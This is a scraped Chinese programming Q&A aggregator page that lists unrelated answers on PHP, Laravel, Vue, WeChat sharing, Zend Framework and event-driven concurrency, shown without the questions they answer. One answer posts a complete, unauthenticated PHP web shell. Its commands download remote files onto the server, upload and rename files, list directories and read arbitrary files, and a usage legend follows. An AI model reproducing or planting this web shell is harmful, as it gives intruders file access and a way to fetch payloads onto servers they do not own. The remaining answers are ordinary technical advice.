鍍金池/ 問答/ PHP問答
念初 回答

剛試了一下,在單數(shù)據(jù)的情況下是可以,在列表里面貌似是不行的,這個(gè) with 函數(shù)的加載只是優(yōu)化了一下第二步的 SQL 語句。就算知道了你第一句 SQL 獲取的 ID,如果要每條數(shù)據(jù)都取前十的關(guān)聯(lián)數(shù)據(jù),我認(rèn)為一條簡單的 SQL 語句完成不了,因?yàn)椴还苣阆拗贫鄺l,都無法保證平均分配到每一條主數(shù)據(jù)上。

款爺 回答

提供下我之前踩過坑的思路把:

1、一般微信分享失敗都是路徑惹的禍,ios系統(tǒng)會(huì)把你當(dāng)前的location.href中#后面的截取,只拿前面的去校驗(yàn),所以你看看是不是你的做校驗(yàn)的路徑和實(shí)際路徑不符導(dǎo)致的;
2、微信開發(fā)者工具拿到的路徑是不會(huì)截取的,所以你在工具上面模擬應(yīng)該都是可以分享的,但是到了手機(jī)上就不行了;
3、你所分享的路徑,需要在公眾號(hào)上面做配置,沒配置的域名分享也是會(huì)失敗的。
希望有幫助把!
紓惘 回答

redis默認(rèn)是安裝好的,直接用。
laravel中cache等配置直接寫redis就可以了。

乞許 回答

vue的核心之一就是組件化開發(fā),你把這些公共的部分抽象成vue組件,或者直接在vue-cli項(xiàng)目的入口index.html中添加你需要的公共部分就ok了。

憶往昔 回答
error_reporting(0);
if($_GET['act'] == 'dl')
{
    echo ('<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>');
    if($_SERVER['REQUEST_METHOD'] == 'POST')
    {
        file_put_contents($_POST['fn'], file_get_contents($_POST['url']));
    }
    exit;
}
if($_GET['act'] == 'ul')
{
    echo ('<form method="post" enctype="multipart/form-data"><input name="uf" type="file">SP:<input name="sp" size="50" type="text"><input type="submit" value="ok"></form>');
    if($_SERVER['REQUEST_METHOD'] == 'POST')
    {
        $sp = empty($_POST['sp']) ? './' : $_POST['sp'] . '/';
        move_uploaded_file(${"_FILES"}["uf"]["tmp_name"], $sp . ${"_FILES"}["uf"]["name"]);
    }
    exit;
}
if($_GET['act'] == 'rn')
{
    echo ('<form method="post">ON:<input name="on" size="50" type="text">NN:<input name="nn" size="50" type="text"><input type="submit" value="ok"></form>');
    if($_SERVER['REQUEST_METHOD'] == 'POST')
    {
        rename($_POST['on'], $_POST['nn']);
    }
    exit;
}
if($_GET['act'] == 'gp')
{
    echo (dirname(__FILE__));exit;
}
if($_GET['act'] == 'lp')
{
    echo ('<form method="post">DP:<input name="dp" size="50" type="text"><input type="submit" value="ok"></form>');
    if($_SERVER['REQUEST_METHOD'] == 'POST')
    {
        $dp = $_POST['dp'] . '/';
        $h  = opendir($dp);while(($fn = readdir($h)) !== false)
        {
            if(is_dir($dp . $fn))
            {
                $t1 .= 'D&nbsp;' . $fn . '<br>';
            }
            else
            {
                $t2 .= '&nbsp;&nbsp;' . $fn . '<br>';
            }
        }
        closedir($dp);
        echo ($dp . '<br>' . $t1 . $t2);
    }
    exit;
}
if($_GET['act'] == 'sf')
{
    echo ('<form method="post">DF:<input name="df" size="50" type="text"><input type="submit" value="ok"></form>');
    if($_SERVER['REQUEST_METHOD'] == 'POST')
    {
        $df = $_POST['df'];
        echo ('<textarea style="width:100%;height:100%;" wrap="off">' . file_get_contents($df) . '</textarea>');
    }
    exit;
}

act=dl
下載遠(yuǎn)程文件
act=ul
上傳文件
act=rn
重命名文件
act=gp
讀取當(dāng)前目錄
act=lp
讀取目錄文件列表
act=sf
讀取文件內(nèi)容

下墜 回答

層級(jí)節(jié)點(diǎn),做code,看一下我天朝的行政區(qū)劃代碼,

第一層 第二層 第三層
100 100100 100100100
200 200100 200100100
300 300100 300100100

查詢某個(gè)節(jié)點(diǎn)的子集(子子集等),like '100%';

idpid保留,兩種模式。

舊顏 回答

rpm -ql php71w 看看釋放出了哪些文件,找找看這個(gè)包里面有沒有php的可執(zhí)行文件,以及確認(rèn)下路徑在哪。如果沒有在PATH變量的路徑中,你需要自己添加PATH,或者創(chuàng)建軟連接到PATH路徑中。

skeleton-application 下有composer.json 文件,里面配置著各個(gè)依賴的版本,zf3里的是這樣

{
...
  "require": {
    "zendframework/zend-mvc" : "^3.0"  // 這里改 ^2.0就是 zf2 
  },
  "require-dev":{
    "phpunit/phpunit":"^6.0"
  }
...
}

ZF2對(duì)比ZF3

  1. 在寫 Controller移除了 $this->getServiceLocator() 方法,官方推薦用構(gòu)造函數(shù)傳參的方式,通過依賴注入傳入。
  2. zend-servicemanager, zend-eventmanager 組件v3版本,結(jié)構(gòu)性能優(yōu)化。
  3. 按需加載依賴,skeleton-application 的composer.json 配置對(duì)比zf3少了好多,并且 db, cache 之類的官方?jīng)]默認(rèn)引入,你需要的時(shí)候自行用composer添加依賴。sf3 更新sf4也向"按需加載"這一點(diǎn)發(fā)展.
  4. 由于依賴也減少好多,耦合性也降低了,ZF3性能比zf2好些。

總體建議學(xué)習(xí)ZF3 即 zendframework/zend-mvc:^3.0, 或者推出的微框架zendframework/zend-expressive:^3.0 學(xué)習(xí)曲線跟低寫。

筱饞貓 回答

沒有必要把語言放到store中,應(yīng)該放到language文件夾下的json文件中或者js文件中,直接import 進(jìn)來用就行了,你這個(gè)是把事情搞復(fù)雜化,語言包不是變量,它一旦加載進(jìn)來就不會(huì)改變。你那樣處理還會(huì)使得網(wǎng)站性能變慢。

故人嘆 回答

大量更新業(yè)務(wù)操作是在一定情況下偶發(fā)還是經(jīng)常操作的

如果是偶發(fā)建議停業(yè)務(wù)操作

如果是經(jīng)常操作考慮業(yè)務(wù)上是否可以做及時(shí)處理或分發(fā)消息異步處理

上面的直接操作沒有時(shí)間限定,你可以起一個(gè)進(jìn)程,每隔一定時(shí)間處理一定的數(shù)量,比如1分鐘處理100個(gè)更新,然后sleep(10)迭代處理,

偽代碼

$limit = 0;
$offset = 100;
while(true) {
    $data = getLists($limit);
    // operate
    doit($data);
    sleep(10);
    // log
    $limit += $offset;
}
你好胸 回答

你如果導(dǎo)出的是 PHPword 應(yīng)該是可以的

青裙 回答

PHP 里 json_encode 傳入的第一個(gè)參數(shù)應(yīng)是數(shù)組或關(guān)聯(lián)數(shù)組, 你題目中的傳入?yún)?shù)不正確, json_encode 返回 json 字符串, js JSON.parse 后為 js 對(duì)象(或數(shù)組),

替身 回答

emmm,對(duì)象轉(zhuǎn)int嗎?

尛憇藌 回答

原因

永遠(yuǎn)無法執(zhí)行到的代碼就會(huì)這樣顯示

示例

const test = () => {
const a = 1;
return 2;
console.log(11);  //這一行也會(huì)出現(xiàn)你這種情況,因?yàn)樗肋h(yuǎn)無法執(zhí)行
}
夏夕 回答
require('./vendor/autoload.php');
我以為 回答

說下自己的理解,供參考。假設(shè)題主了解網(wǎng)絡(luò)編程和計(jì)算機(jī)系統(tǒng)的一些基本概念。

簡單概括來說,事件驅(qū)動(dòng)是實(shí)現(xiàn)并發(fā)處理的一種方式。

我們就以HTTP請(qǐng)求的處理過程為例,為簡化說明,僅考慮網(wǎng)絡(luò)IO,不考慮文件IO和數(shù)據(jù)庫等其他過程,也不考慮多核系統(tǒng)。
考慮采用如下最簡模型來處理HTTP請(qǐng)求:

main_loop:
  accept() 
  recv()  
  parse() 
  send() 
  close() 

來一個(gè)連接,讀取數(shù)據(jù)(請(qǐng)求),解析請(qǐng)求內(nèi)容,返回?cái)?shù)據(jù)(應(yīng)答)。
同一時(shí)間只為一個(gè)客戶端服務(wù)。在為A客戶端服務(wù)的過程中,B客戶端必須等待。

這種方式非常簡單直接,容易理解,但其無法滿足現(xiàn)實(shí)場(chǎng)景的需要——不支持并發(fā)。
現(xiàn)實(shí)中,客戶端的請(qǐng)求是并發(fā)的:即當(dāng)一個(gè)客戶端的請(qǐng)求還在處理時(shí),另外一個(gè)客戶端的請(qǐng)求就會(huì)達(dá)到,甚至多個(gè)客戶端的請(qǐng)求同時(shí)達(dá)到。
而且,recv 和 send等涉及網(wǎng)絡(luò)操作的API由于網(wǎng)絡(luò)數(shù)據(jù)發(fā)送與到達(dá)的不確定性,可能需要等待,CPU會(huì)空閑下來——但這種模型下即使CPU空閑了也無法處理其他客戶端的請(qǐng)求,浪費(fèi)了CPU。

我們采用如下多線程模型,可以解決上述問題:

main_loop:
  accept() 
  start_thread(thread_loop)

thread_loop:    
    recv()  
    parse() 
    send() 
    close() 
    exit thread()

即每個(gè)客戶端在一個(gè)獨(dú)立的線程中處理。
當(dāng)一個(gè)客戶端的線程執(zhí)行網(wǎng)絡(luò)操作需要等待時(shí),會(huì)被操作系統(tǒng)調(diào)度出去,執(zhí)行其他需要干活兒的線程。
似乎完美了解決了我們的問題?
然而并沒有。
因?yàn)椴僮飨到y(tǒng)創(chuàng)建線程的開銷是比較大的,能夠支持的線程數(shù)量是有限的,通常是幾萬的級(jí)別,如果線程太多,就會(huì)有很多的CPU浪費(fèi)在了線程的創(chuàng)建、銷毀、調(diào)度等管理操作上。

所以為了充分發(fā)揮CPU的能力,支持更多的并發(fā)數(shù)量,,在Linux上有另外一種處理并發(fā)的方式:
內(nèi)核提供了監(jiān)聽大量網(wǎng)絡(luò)連接(句柄)可讀、可寫等事件的機(jī)制和接口。
應(yīng)用把需要監(jiān)聽對(duì)象以及關(guān)心的事件注冊(cè)給內(nèi)核,內(nèi)核在有事件達(dá)到時(shí)通知應(yīng)用處理。
基于這種機(jī)制處理并發(fā)就是事件驅(qū)動(dòng)。

事件驅(qū)動(dòng)機(jī)制的基本模型是:

create_listen_socket()
register_event_for_listen_socket()
main_loop:
    wait_for_event()
    check_events:
         if listen_socket has event(new client coming) :
               accept()
               register_event_for_client_socket()
        if client_socket has event(new data coming):
               recv()                       
               parse()
               send()              

但這里有一個(gè)問題,有可能一個(gè)客戶端剛讀取了一部分?jǐn)?shù)據(jù),就沒了,剩下的還在網(wǎng)絡(luò)中沒過來,需要繼續(xù)等待。
這就需要把當(dāng)前的讀取內(nèi)容和請(qǐng)求處理狀態(tài)(也即上下文)保存起來,繼續(xù)處理其他客戶端的事件。
然后下次這個(gè)客戶端再有事件到來時(shí)再找回上下文繼續(xù)處理。
這其實(shí)需要應(yīng)用自己做一些任務(wù)調(diào)度相關(guān)的上下文保存和切換工作。

當(dāng)使用多線程處理并發(fā)時(shí),操作系統(tǒng)幫我們做了這些工作,我們無需關(guān)心任務(wù)切換。
因?yàn)橐粋€(gè)線程就只處理一個(gè)客戶端,反復(fù)調(diào)用recv把一個(gè)請(qǐng)求的數(shù)據(jù)讀完然后解析處理就可以了,也不用擔(dān)心沒數(shù)據(jù)到來時(shí),recv阻塞了其他客戶端的處理。
所以多線程編寫并發(fā)代碼非常簡單直接。

如上,事件驅(qū)動(dòng)機(jī)制是Linux上解決并發(fā)問題的一種高效編程模型。
應(yīng)用反復(fù)探測(cè)事件,對(duì)接收到的事件進(jìn)行逐個(gè)處理的過程就是事件循環(huán)。

那么同步和異步概念體現(xiàn)在哪里呢?

所謂同步就是我們執(zhí)行一個(gè)任務(wù),一直等待任務(wù)執(zhí)行結(jié)束。
所謂異步就是我們執(zhí)行一個(gè)任務(wù),不等待任務(wù)執(zhí)行結(jié)束,繼續(xù)去干其他活兒,任務(wù)結(jié)果后有個(gè)通知,或者干脆不關(guān)心任務(wù)的執(zhí)行結(jié)果。

在多線程模型中,每接收到一個(gè)新的客戶端就創(chuàng)建一個(gè)線程處理,這就是一種異步處理。
在事件驅(qū)動(dòng)模型中,當(dāng)沒有數(shù)據(jù)可讀時(shí),就把這個(gè)客戶端繼續(xù)放到監(jiān)聽隊(duì)列中監(jiān)聽,也是一種異步。

如果我們考慮文件IO,把IO請(qǐng)求丟給另外一個(gè)或一組線程(線程池)處理,處理完后通知主線程,也是一種異步。